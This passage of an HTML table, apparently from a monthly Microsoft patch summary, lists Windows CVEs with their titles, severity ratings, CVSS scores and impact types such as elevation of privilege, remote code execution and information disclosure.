  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
